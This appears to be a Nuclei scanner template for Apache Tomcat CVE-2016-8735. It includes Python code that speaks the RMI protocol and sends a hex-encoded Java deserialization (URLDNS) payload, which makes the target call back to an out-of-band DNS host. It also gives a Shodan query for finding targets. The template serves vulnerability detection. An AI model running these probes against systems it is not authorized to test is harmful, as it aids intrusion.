id: CVE-2016-8735 info: name: Apache Tomcat - Remote Code Execution via JMX Ports author: hnd3884 severity: critical description: | Apache Tomcat versions before 6.0.48, 7.x before 7.0.73, 8.x before 8.0.39, 8.5.x before 8.5.7, and 9.x before 9.0.0.M12 are vulnerable to remote code execution if JmxRemoteLifecycleListener is used and the JMX ports are exposed to attackers. The vulnerability exists due to inconsistent credential type handling, which was not aligned with the CVE-2016-3427 Oracle patch. Attackers with access to JMX ports can exploit this issue to execute arbitrary code remotely. impact: | Attackers with network access can execute arbitrary commands remotely without authentication by exploiting the exposed unauthenticated Tomcat manager, achieving complete server compromise. remediation: | Restrict access to the Tomcat manager interface, enable authentication, and upgrade to a patched version of Apache Tomcat. reference: - https://medium.com/tenable-techblog/achieving-rce-on-tomcat-via-cve-2016-8735-a-proof-of-concept-13df8a9ef0e0 - https://nvd.nist.gov/vuln/detail/cve-2016-8735 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2016-8735 epss-score: 0.90338 epss-percentile: 0.99786 cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* metadata: shodan-query: product:"tomcat" vendor: apache product: tomcat tags: cve,cve2016,apache,tomcat,rce,kev,vkev,vuln variables: OAST: "{{interactsh-url}}" HOST: "{{Host}}" RMI_REGISTRY_PORT: "{{Port}}" code: - engine: - py - python3 source: | import socket import os OAST, HOST, PORT = os.getenv('OAST'), os.getenv('HOST'), int(os.getenv('RMI_REGISTRY_PORT')) ### Initialize socket and connect to RMI server, Locate "UnicastRef2" and extract rmiServerPort ### s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.connect((HOST, PORT)) s1.send(bytes.fromhex("4a524d4900024b"));s1.recv(4096) s1.send(bytes.fromhex("000c31302e36352e3135372e313000000000")) s1.send(bytes.fromhex("50aced00057722000000000000000000000000000000000000000000000000000244154dc9d4e63bdf7400066a6d78726d69")) response = s1.recv(4096) following_bytes = response[response.find(b"UnicastRef2") + len("UnicastRef2") + 1:] rmiServerPort = int(following_bytes[:2].hex(), 16) rmiServerPort = int(following_bytes[2:][rmiServerPort + 1:rmiServerPort + 4].hex(), 16) ### Exploit rmiServerPort ### s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.connect((HOST, rmiServerPort)) s2.send(bytes.fromhex("4a524d4900024b"));s2.recv(4096) s2.send(bytes.fromhex("000c31302e36352e3135372e313000000000")) s2.send(bytes.fromhex("50aced000577220000000000000002000000000000000000000000000000000001f6b6898d8bf28643757200185b4c6a6176612e726d692e7365727665722e4f626a49443b871300b8d02c647e02000070787000000001737200156a6176612e726d692e7365727665722e4f626a4944a75efa128ddce55c0200024a00066f626a4e756d4c000573706163657400154c6a6176612f726d692f7365727665722f5549443b7078702d4f7f1ffa7877b4737200136a6176612e726d692e7365727665722e5549440f12700dbf364f12020003530005636f756e744a000474696d65490006756e69717565707870800100000192f5ff701a9cb3f67477088000000000000000737200126a6176612e726d692e6467632e4c65617365b0b5e2660c4adc340200024a000576616c75654c0004766d69647400134c6a6176612f726d692f6467632f564d49443b70787000000000000927c0737200116a6176612e726d692e6467632e564d4944f8865bafa4a56db60200025b0004616464727400025b424c000375696471007e0003707870757200025b42acf317f8060854e002000070787000000008f1c6fcc113e4dd097371007e0005800100000192f6835b0fb632f8a1")) # URLDNS payload to detect unsafe deserialization hex4 = "50aced000577222191ba09e57952f396b68ddb00000193151cdd268001fffffffff0e074eaad0caea8737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c647078703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e0003707870ffffffffffffffff74002a6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e74000071007e00057400056874747073707874003268747470733a2f2f6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e78" ind = hex4.find('6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e') hex4 = hex4[:ind-2] + hex(len(OAST))[2:] + hex4[ind:] ind = hex4.find('68747470733a2f2f6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e') hex4 = (hex4[:ind-2] + hex(len('https://'+OAST))[2:] + hex4[ind:]).replace('6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e', OAST.encode().hex()) # Send serialized payload s2.send(bytes.fromhex(hex4)) response = s2.recv(4096) response = s2.recv(4096) s2.close() print(response.hex()) matchers: - type: dsl dsl: # Check "Credentials should be String[] instead of java.util.HashMapur" in last response - 'contains(response,"43726564656e7469616c732073686f756c6420626520537472696e675b5d20696e7374656164206f66206a6176612e7574696c2e486173684d61707572")' - 'contains(interactsh_protocol, "dns")' condition: and # digest: 490a0046304402206b8e3dd583224b74ea527410d3774e68b25a61d5a3672732950a6dc9c694a07702201888286b4b3c9c9faf510525d47b2b122a4b046f03226fd4c1b1fa3c7e4cfea8:41987585204b393149694b2205534b1a